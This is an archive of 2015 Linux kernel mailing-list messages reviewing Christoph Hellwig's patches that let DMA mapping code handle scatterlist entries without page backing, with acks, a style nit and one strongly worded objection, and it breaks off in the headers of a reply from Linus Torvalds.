Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1ZPTHU-0007Tk-3s
	for lnx-linux-alpha@plane.gmane.org; Wed, 12 Aug 2015 12:29:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932215AbbHLK3K (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Wed, 12 Aug 2015 06:29:10 -0400
Original-Received: from smtprelay.synopsys.com ([198.182.47.9]:44204 "EHLO
	smtprelay.synopsys.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751046AbbHLK3I convert rfc822-to-8bit (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>);
	Wed, 12 Aug 2015 06:29:08 -0400
Original-Received: from dc8secmta2.synopsys.com (dc8secmta2.synopsys.com [10.13.218.202])
	by smtprelay.synopsys.com (Postfix) with ESMTP id 0090E24E0F23;
	Wed, 12 Aug 2015 03:29:04 -0700 (PDT)
Original-Received: from dc8secmta2.internal.synopsys.com (dc8secmta2.internal.synopsys.com [127.0.0.1])
	by dc8secmta2.internal.synopsys.com (Service) with ESMTP id E606BA4112;
	Wed, 12 Aug 2015 03:29:03 -0700 (PDT)
Original-Received: from mailhost.synopsys.com (mailhost3.synopsys.com [10.12.238.238])
	by dc8secmta2.internal.synopsys.com (Service) with ESMTP id 54697A4102;
	Wed, 12 Aug 2015 03:29:03 -0700 (PDT)
Original-Received: from mailhost.synopsys.com (localhost [127.0.0.1])
	by mailhost.synopsys.com (Postfix) with ESMTP id 2ED253D2;
	Wed, 12 Aug 2015 03:29:03 -0700 (PDT)
Original-Received: from US01WXQAHTC1.internal.synopsys.com (us01wxqahtc1.internal.synopsys.com [10.12.238.230])
	by mailhost.synopsys.com (Postfix) with ESMTP id 09E38384;
	Wed, 12 Aug 2015 03:29:00 -0700 (PDT)
Original-Received: from IN01WEHTCB.internal.synopsys.com (10.144.199.106) by
 US01WXQAHTC1.internal.synopsys.com (10.12.238.230) with Microsoft SMTP Server
 (TLS) id 14.3.195.1; Wed, 12 Aug 2015 03:28:59 -0700
Original-Received: from IN01WEMBXB.internal.synopsys.com ([169.254.4.157]) by
 IN01WEHTCB.internal.synopsys.com ([::1]) with mapi id 14.03.0195.001; Wed, 12
 Aug 2015 15:58:56 +0530
Thread-Topic: [PATCH 19/31] arc: handle page-less SG entries
Thread-Index: AQHQ1M3b26KgfKsShEK4yGPzrGC9cQ==
Accept-Language: en-US, en-IN
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
x-originating-ip: [10.12.197.191]
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:3308 gmane.linux.kernel:2018669 gmane.linux.kernel.cross-arch:28867 gmane.linux.ports.ia64:25707 gmane.linux.kernel.metag:617 gmane.linux.ports.mips.general:49966 gmane.linux.ports.parisc:25934 gmane.linux.ports.ppc64.devel:116764 gmane.linux.ports.sparc:21415 gmane.linux.drivers.video-input-infrastructure:93960
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/3308>

On Wednesday 12 August 2015 12:39 PM, Christoph Hellwig wrote:
> Make all cache invalidation conditional on sg_has_page() and use
> sg_phys to get the physical address directly.
>
> Signed-off-by: Christoph Hellwig <hch@lst.de>

With a minor nit below.

Acked-by: Vineet Gupta <vgupta@synopsys.com>

> ---
>  arch/arc/include/asm/dma-mapping.h | 26 +++++++++++++++++++-------
>  1 file changed, 19 insertions(+), 7 deletions(-)
>
> diff --git a/arch/arc/include/asm/dma-mapping.h b/arch/arc/include/asm/dma-mapping.h
> index 2d28ba9..42eb526 100644
> --- a/arch/arc/include/asm/dma-mapping.h
> +++ b/arch/arc/include/asm/dma-mapping.h
> @@ -108,9 +108,13 @@ dma_map_sg(struct device *dev, struct scatterlist *sg,
>  	struct scatterlist *s;
>  	int i;
>  
> -	for_each_sg(sg, s, nents, i)
> -		s->dma_address = dma_map_page(dev, sg_page(s), s->offset,
> -					       s->length, dir);
> +	for_each_sg(sg, s, nents, i) {
> +		if (sg_has_page(s)) {
> +			_dma_cache_sync((unsigned long)sg_virt(s), s->length,
> +					dir);
> +		}
> +		s->dma_address = sg_phys(s);
> +	}
>  
>  	return nents;
>  }
> @@ -163,8 +167,12 @@ dma_sync_sg_for_cpu(struct device *dev, struct scatterlist *sglist, int nelems,
>  	int i;
>  	struct scatterlist *sg;
>  
> -	for_each_sg(sglist, sg, nelems, i)
> -		_dma_cache_sync((unsigned int)sg_virt(sg), sg->length, dir);
> +	for_each_sg(sglist, sg, nelems, i) {
> +		if (sg_has_page(sg)) {
> +			_dma_cache_sync((unsigned int)sg_virt(sg), sg->length,
> +					dir);
> +		}
> +	}
>  }
>  
>  static inline void
> @@ -174,8 +182,12 @@ dma_sync_sg_for_device(struct device *dev, struct scatterlist *sglist,
>  	int i;
>  	struct scatterlist *sg;
>  
> -	for_each_sg(sglist, sg, nelems, i)
> -		_dma_cache_sync((unsigned int)sg_virt(sg), sg->length, dir);
> +	for_each_sg(sglist, sg, nelems, i) {
> +		if (sg_has_page(sg)) {
> +			_dma_cache_sync((unsigned int)sg_virt(sg), sg->length,
> +				dir);

For consistency, could u please fix the left alignment of @dir above - another tab
perhaps ?

> +		}
> +	}
>  }
>  
>  static inline int dma_supported(struct device *dev, u64 dma_mask)

--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sebastian Ott <sebott@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure
Subject: Re: [PATCH 16/31] s390: handle page-less SG entries
Date: Wed, 12 Aug 2015 13:51:58 +0200 (CEST)
Organization: =?ISO-8859-15?Q?=22IBM_Deutschland_Research_&_Development_GmbH_=2F_Vorsitzende_des_Aufsichtsrats=3A_Martina_Koederitz_Gesch=E4ftsf=FChrung=3A_Dirk_Wittkopp_Sitz_der_Gesellschaft=3A_B=F6blingen_=2F_Registergericht?=
 =?ISO-8859-15?Q?=3A_Amtsgericht_Stuttgart=2C_HRB_243294=22?=
Lines: 86
Approved: news@gmane.org
Message-ID: <alpine.LFD.2.11.1508121350090.1732@denkbrett>
References: <1439363150-8661-1-git-send-email-hch@lst.de> <1439363150-8661-17-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1439380353 32560 80.91.229.3 (12 Aug 2015 11:52:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 12 Aug 2015 11:52:33 +0000 (UTC)
Cc: torvalds@linux-foundation.org, axboe@kernel.dk,
	dan.j.williams@intel.com, vgupta@synopsys.com,
	hskinnemoen@gmail.com, egtvedt@samfundet.no, realmz6@gmail.com,
	dhowells@redhat.com, monstr@monstr.eu, x86@kernel.org,
	dwmw2@infradead.org, alex.williamson@redhat.com,
	grundler@parisc-linux.org, linux-kernel@vger.kernel.org,
	linux-arch@vger.kernel.org, linux-alpha@vger.kernel.org,
	linux-ia64@vger.kernel.org, linux-metag@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	linux-nvdimm@ml01.01.org, linux-media@vger.kernel.org
To: Christoph Hellwig <hch@lst.de>
Original-X-From: linux-alpha-owner@vger.kernel.org Wed Aug 12 13:52:17 2015
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1ZPUZr-0003Q5-S6
	for lnx-linux-alpha@plane.gmane.org; Wed, 12 Aug 2015 13:52:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752297AbbHLLwO (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Wed, 12 Aug 2015 07:52:14 -0400
Original-Received: from e06smtp13.uk.ibm.com ([195.75.94.109]:48859 "EHLO
	e06smtp13.uk.ibm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751190AbbHLLwM (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>);
	Wed, 12 Aug 2015 07:52:12 -0400
Original-Received: from /spool/local
	by e06smtp13.uk.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
	for <linux-alpha@vger.kernel.org> from <sebott@linux.vnet.ibm.com>;
	Wed, 12 Aug 2015 12:52:10 +0100
Original-Received: from d06dlp01.portsmouth.uk.ibm.com (9.149.20.13)
	by e06smtp13.uk.ibm.com (192.168.101.143) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
	Wed, 12 Aug 2015 12:52:06 +0100
X-Helo: d06dlp01.portsmouth.uk.ibm.com
X-MailFrom: sebott@linux.vnet.ibm.com
X-RcptTo: sparclinux@vger.kernel.org
Original-Received: from b06cxnps3075.portsmouth.uk.ibm.com (d06relay10.portsmouth.uk.ibm.com [9.149.109.195])
	by d06dlp01.portsmouth.uk.ibm.com (Postfix) with ESMTP id DF7C517D8042;
	Wed, 12 Aug 2015 12:53:38 +0100 (BST)
Original-Received: from d06av12.portsmouth.uk.ibm.com (d06av12.portsmouth.uk.ibm.com [9.149.37.247])
	by b06cxnps3075.portsmouth.uk.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id t7CBq6ig35061914;
	Wed, 12 Aug 2015 11:52:06 GMT
Original-Received: from d06av12.portsmouth.uk.ibm.com (localhost [127.0.0.1])
	by d06av12.portsmouth.uk.ibm.com (8.14.4/8.14.4/NCO v10.0 AVout) with ESMTP id t7CBpx4u015261;
	Wed, 12 Aug 2015 05:52:05 -0600
Original-Received: from dyn-9-152-212-141.boeblingen.de.ibm.com (dyn-9-152-212-141.boeblingen.de.ibm.com [9.152.212.141])
	by d06av12.portsmouth.uk.ibm.com (8.14.4/8.14.4/NCO v10.0 AVin) with ESMTP id t7CBpw8W015203
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Wed, 12 Aug 2015 05:51:58 -0600
X-X-Sender: sebott@denkbrett
In-Reply-To: <1439363150-8661-17-git-send-email-hch@lst.de>
User-Agent: Alpine 2.11 (LFD 23 2013-08-11)
X-TM-AS-MML: disable
X-Content-Scanned: Fidelis XPS MAILER
x-cbid: 15081211-0013-0000-0000-000004FFA574
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:3309 gmane.linux.kernel:2018742 gmane.linux.kernel.cross-arch:28868 gmane.linux.ports.ia64:25708 gmane.linux.kernel.metag:618 gmane.linux.ports.mips.general:49967 gmane.linux.ports.parisc:25935 gmane.linux.ports.ppc64.devel:116769 gmane.linux.ports.sparc:21416 gmane.linux.drivers.video-input-infrastructure:93964
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/3309>

On Wed, 12 Aug 2015, Christoph Hellwig wrote:

> Use sg_phys() instead of page_to_phys(sg_page(sg)) so that we don't
> require a page structure for all DMA memory.
> 
> Signed-off-by: Christoph Hellwig <hch@lst.de>

Acked-by: Sebastian Ott <sebott@linux.vnet.ibm.com>


> ---
>  arch/s390/pci/pci_dma.c | 20 ++++++++++++++------
>  1 file changed, 14 insertions(+), 6 deletions(-)
> 
> diff --git a/arch/s390/pci/pci_dma.c b/arch/s390/pci/pci_dma.c
> index 6fd8d58..aae5a47 100644
> --- a/arch/s390/pci/pci_dma.c
> +++ b/arch/s390/pci/pci_dma.c
> @@ -272,14 +272,13 @@ int dma_set_mask(struct device *dev, u64 mask)
>  }
>  EXPORT_SYMBOL_GPL(dma_set_mask);
>  
> -static dma_addr_t s390_dma_map_pages(struct device *dev, struct page *page,
> -				     unsigned long offset, size_t size,
> +static dma_addr_t s390_dma_map_phys(struct device *dev, unsigned long pa,
> +				     size_t size,
>  				     enum dma_data_direction direction,
>  				     struct dma_attrs *attrs)
>  {
>  	struct zpci_dev *zdev = get_zdev(to_pci_dev(dev));
>  	unsigned long nr_pages, iommu_page_index;
> -	unsigned long pa = page_to_phys(page) + offset;
>  	int flags = ZPCI_PTE_VALID;
>  	dma_addr_t dma_addr;
>  
> @@ -301,7 +300,7 @@ static dma_addr_t s390_dma_map_pages(struct device *dev, struct page *page,
>  
>  	if (!dma_update_trans(zdev, pa, dma_addr, size, flags)) {
>  		atomic64_add(nr_pages, &zdev->mapped_pages);
> -		return dma_addr + (offset & ~PAGE_MASK);
> +		return dma_addr + (pa & ~PAGE_MASK);
>  	}
>  
>  out_free:
> @@ -312,6 +311,16 @@ out_err:
>  	return DMA_ERROR_CODE;
>  }
>  
> +static dma_addr_t s390_dma_map_pages(struct device *dev, struct page *page,
> +				     unsigned long offset, size_t size,
> +				     enum dma_data_direction direction,
> +				     struct dma_attrs *attrs)
> +{
> +	unsigned long pa = page_to_phys(page) + offset;
> +
> +	return s390_dma_map_phys(dev, pa, size, direction, attrs);
> +}
> +
>  static void s390_dma_unmap_pages(struct device *dev, dma_addr_t dma_addr,
>  				 size_t size, enum dma_data_direction direction,
>  				 struct dma_attrs *attrs)
> @@ -384,8 +393,7 @@ static int s390_dma_map_sg(struct device *dev, struct scatterlist *sg,
>  	int i;
>  
>  	for_each_sg(sg, s, nr_elements, i) {
> -		struct page *page = sg_page(s);
> -		s->dma_address = s390_dma_map_pages(dev, page, s->offset,
> +		s->dma_address = s390_dma_map_phys(dev, sg_phys(s),
>  						    s->length, dir, NULL);
>  		if (!dma_mapping_error(dev, s->dma_address)) {
>  			s->dma_length = s->length;
> -- 
> 1.9.1
> 
> --
> To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> Please read the FAQ at  http://www.tux.org/lkml/
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Boaz Harrosh <boaz-/8YdC2HfS5554TAoqtyWWQ@public.gmane.org>
Newsgroups: gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.drivers.video-input-infrastructure,gmane.linux.ports.ppc64.devel
Subject: Re: RFC: prepare for struct scatterlist entries without page backing
Date: Wed, 12 Aug 2015 15:42:47 +0300
Lines: 70
Approved: news@gmane.org
Message-ID: <55CB3F47.3000902@plexistor.com>
References: <1439363150-8661-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1439383386 17229 80.91.229.3 (12 Aug 2015 12:43:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 12 Aug 2015 12:43:06 +0000 (UTC)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-nvdimm-y27Ovi1pjclAfugRpC6u6w@public.gmane.org, dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
	sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, egtvedt-BrfabpQBY5qlHtIdYg32fQ@public.gmane.org,
	linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, dwmw2-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org, hskinnemoen-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
	linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org, grundler-6jwH94ZQLHl74goWV3ctuw@public.gmane.org,
	realmz6-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, alex.williamson-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, vgupta-HKixBCOQz3hWk0Htik3J/w@public.gmane.org,
	linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-media-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org
To: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>, torvalds-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org,
	axboe-tSWWG44O7X1aa/9Udqfwiw@public.gmane.org
Original-X-From: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Wed Aug 12 14:43:02 2015
Return-path: <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1ZPVMw-0008QN-FF
	for glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Wed, 12 Aug 2015 14:42:58 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1754883AbbHLMm4 (ORCPT <rfc822;glkm-linux-metag@m.gmane.org>);
	Wed, 12 Aug 2015 08:42:56 -0400
Original-Received: from mail-wi0-f173.google.com ([209.85.212.173]:38584 "EHLO
	mail-wi0-f173.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754688AbbHLMmx (ORCPT
	<rfc822;linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
	Wed, 12 Aug 2015 08:42:53 -0400
Original-Received: by wicja10 with SMTP id ja10so26133610wic.1
        for <linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>; Wed, 12 Aug 2015 05:42:52 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:message-id:date:from:user-agent:mime-version:to
         :cc:subject:references:in-reply-to:content-type
         :content-transfer-encoding;
        bh=3t1xKSTRoEwhUlfn5TnXO5ayka59UgmQwzSIO9gz3vs=;
        b=dTYHorjMWQ6lR84fUfQIzLNKDmdqiyztEqzd6DKyNnEysJHCqOWS8FHJ5FmYqLrSYt
         pCxtPoTgWygBh4cSIY9kFU04gVyNyregDRcPsy6SOTQX6eStYYDHY8r5mi4F+w8ak/rC
         jb8BSPXS5N4RM6+I4tFrDtus9LjjL5+L8vXMsRu5GTMLEbPa0n982pvsnsesMvRgi4VJ
         xyE0yMQGdczClUOWjCkCA284ky1V/TDExEv1AJ/zJSjZz7vbIddW3LwxeChv+Ul7ozG+
         42TIUAa2ou0yfBkFEjDT6asW41YqfAa5jHTrI9d1UbZO494HIpJOm7UaGIH72+o9UVK7
         6l8Q==
X-Gm-Message-State: ALoCoQnq4p0uT8kXXY8tbE6Jo4R+pkzTEY5RG65Hc1p//ONgV4rSWfpxfZjOTosZ4sGR5z69GcQ1
X-Received: by 10.194.238.193 with SMTP id vm1mr66723109wjc.57.1439383371204;
        Wed, 12 Aug 2015 05:42:51 -0700 (PDT)
Original-Received: from [10.0.0.5] ([207.232.55.62])
        by smtp.googlemail.com with ESMTPSA id hn2sm7777363wjc.45.2015.08.12.05.42.48
        (version=TLSv1/SSLv3 cipher=OTHER);
        Wed, 12 Aug 2015 05:42:50 -0700 (PDT)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.7.0
In-Reply-To: <1439363150-8661-1-git-send-email-hch-jcswGhMUV9g@public.gmane.org>
Original-Sender: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-metag.vger.kernel.org>
X-Mailing-List: linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.metag:619 gmane.linux.ports.mips.general:49968 gmane.linux.ports.ia64:25709 gmane.linux.ports.sparc:21417 gmane.linux.kernel.cross-arch:28869 gmane.linux.ports.parisc:25936 gmane.linux.kernel:2018819 gmane.linux.ports.alpha:3310 gmane.linux.drivers.video-input-infrastructure:93966 gmane.linux.ports.ppc64.devel:116771
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.metag/619>

On 08/12/2015 10:05 AM, Christoph Hellwig wrote:
> Dan Williams started to look into addressing I/O to and from
> Persistent Memory in his series from June:
> 
> 	http://thread.gmane.org/gmane.linux.kernel.cross-arch/27944
> 
> I've started looking into DMA mapping of these SGLs specifically instead
> of the map_pfn method in there.  In addition to supporting NVDIMM backed
> I/O I also suspect this would be highly useful for media drivers that
> go through nasty hoops to be able to DMA from/to their ioremapped regions,
> with vb2_dc_get_userptr in drivers/media/v4l2-core/videobuf2-dma-contig.c
> being a prime example for the unsafe hacks currently used.
> 

The support I have suggested and submitted for zone-less sections.
(In my add_persistent_memory() patchset)

Would work perfectly well and transparent for all such multimedia cases.
(All hacks removed). In fact I have loaded pmem (with-pages) on a VRAM
a few times and it is great easy fun. (I wanted to experiment with cached
memory over a pcie)

> It turns out most DMA mapping implementation can handle SGLs without
> page structures with some fairly simple mechanical work.  Most of it
> is just about consistently using sg_phys.  For implementations that
> need to flush caches we need a new helper that skips these cache
> flushes if a entry doesn't have a kernel virtual address.
> 
> However the ccio (parisc) and sba_iommu (parisc & ia64) IOMMUs seem
> to be operate mostly on virtual addresses.  It's a fairly odd concept
> that I don't fully grasp, so I'll need some help with those if we want
> to bring this forward.
> 
> Additional this series skips ARM entirely for now.  The reason is
> that most arm implementations of the .map_sg operation just iterate
> over all entries and call ->map_page for it, which means we'd need
> to convert those to a ->map_pfn similar to Dan's previous approach.
> 

All this endless work for nothing more than uglyfing the Kernel, and
It will never end. When a real and fully working solution is right
here for more then a year.

If you are really up for a deep audit and a mammoth testing effort,
why not do a more worthy, and order of magnitude smaller work and support
2M and 1G variable sized "pages". All the virtual-vs-phisical-vs-caching
just works.

Most of the core work is there. Block layer and lots of other subsytems
already support sending a single page-pointer with bvec_offset bvec_len
bigger then 4K. Other system will be small fixes sprinkled around but
not at all this endless stream of subsystem after another of patches.
And for why.

The novelty of pages is the section object, the section is reached
from page* from virtual as well as physical planes. And is a center
that translate from all plains to all plains. You keep this concept
only make 2M-page sections and 1G-page sections.

It is a bit of work but is worth while, and accelerating tremendously
lots of workloads. Not like this abomination which only branches
things more and more, and making things fatter and slower.

It all feels like a typhoon, the inertia of tones and tons of
men hours work, in a huge wave. How will you ever stop such a
rushing mass. I'm trying to dock under but, surly it makes me sad.

Thanks
Boaz


From - Thu Nov 08 21:37:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure
Subject: Re: [PATCH 29/31] parisc: handle page-less SG entries
Date: Wed, 12 Aug 2015 09:01:02 -0700
Lines: 29
Approved: news@gmane.org
Message-ID: <CA+55aFxsH9Lde7wqZi555vqfH2uxeQqC9cjeca9L6Wr=XpyzXA@mail.gmail.com>
References: <1439363150-8661-1-git-send-email-hch@lst.de>
	<1439363150-8661-30-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1439395273 24040 80.91.229.3 (12 Aug 2015 16:01:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 12 Aug 2015 16:01:13 +0000 (UTC)
Cc: Jens Axboe <axboe@kernel.dk>,
	Dan Williams <dan.j.williams@intel.com>,
	Vineet Gupta <vgupta@synopsys.com>,
	=?UTF-8?Q?H=C3=A5vard_Skinnemoen?= <hskinnemoen@gmail.com>,
	Hans-Christian Egtvedt <egtvedt@samfundet.no>,
	Miao Steven <realmz6@gmail.com>,
	David Howells <dhowells@redhat.com>,
	Michal Simek <monstr@monstr.eu>,
	"the arch/x86 maintainers" <x86@kernel.org>,
	David Woodhouse <dwmw2@infradead.org>,
	Alex Williamson <alex.williamson@redhat.com>,
	grundler@parisc-linux.org,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	"linux-arch@vger.kernel.org" <linux-arch@vger.kernel.org>,
	linux-alpha@vger.kernel.org,
	"linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
	linux-metag@vger.kernel.org,
	linux-mips <linux-mips@linux-mips.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	ppc-dev <linuxppc-dev@lists.ozlabs.org>,
	linux-s390 <linux-s390@vger.kernel.org>,
	s
To: Christoph Hellwig <hch@lst.de>
Original-X-From: linux-arch-owner@vger.kernel.org Wed Aug 12 18:01:09 2015
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1ZPYSi-0002gY-Uv
	for glka-linux-arch@plane.gmane.org; Wed, 12 Aug 2015 18:01:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754936AbbHLQBG (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Wed, 12 Aug 2015 12:01:06 -0400
Original-Received: from mail-io0-f169.google.com ([209.85.223.169]:36078 "EHLO
	mail-io0-f169.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753552AbbHLQBD (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Wed, 12 Aug 2015 12:01:03 -0400
Original-Received: by iodv127 with SMTP id v127so8689147iod.3;
        Wed, 12 Aug 2015 09:01:02 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc:content-type;
        bh=uE+jlzjQ6ahipSG8Nj+bY6dbWKdWRTbXaVBH8/czOsk=;
        b=EWGoKlkvIHr3rbeEbqmfEVEfwBfTuwmKbXcie9HqS6GBRUIhTJj8H3YeacvEyke3xW
         EXqkqwUax179k+jv0ouv6A6kxbr3m15JimhcbvKlBMHO+8fxdEitdX8s/pouZ9fw55pK
         R0/6uxTeBM0akE9PI7dA8deKMKm3H5VEJJjjUcnzhV1s4/PXIBKyBBrwn+zbr1RtXDIs
         AVWJkPgxBzICco6QNR2YueQqUJnU771+DJEaT3xVrmv3npsfTFLiKF6OxWnnWDVNCvPP
         U97fUWnCyI0USs75jOv1/35gVcLfAs+NNSma76KYz00dHEtEBDMwQF4YDb8qm+9b/wtk
         6Utw==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linux-foundation.org; s=google;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc:content-type;
        bh=uE+jlzjQ6ahipSG8Nj+bY6dbWKdWRTbXaVBH8/czOsk=;
        b=Fk/NseaDldn9TyxCB7uoVACB5708PV8X3ygwx8tsPokEDvqev0eVnWQAiNGfBNhVwc
         MB2HrPJIObht4uqCHoVrxUft3IiicZkFTemzOZopeXeTXAoMC1lsFrovvK0UbxZT5JxT
         lSmu8lqZvviynCMBLmLmR5aT9e9PFcN8gQ5bA=
X-Received: by 10.107.8.216 with SMTP id h85mr25749970ioi.89.1439395262441;
 Wed, 12 Aug 2015 09:01:02 -0700 (PDT)
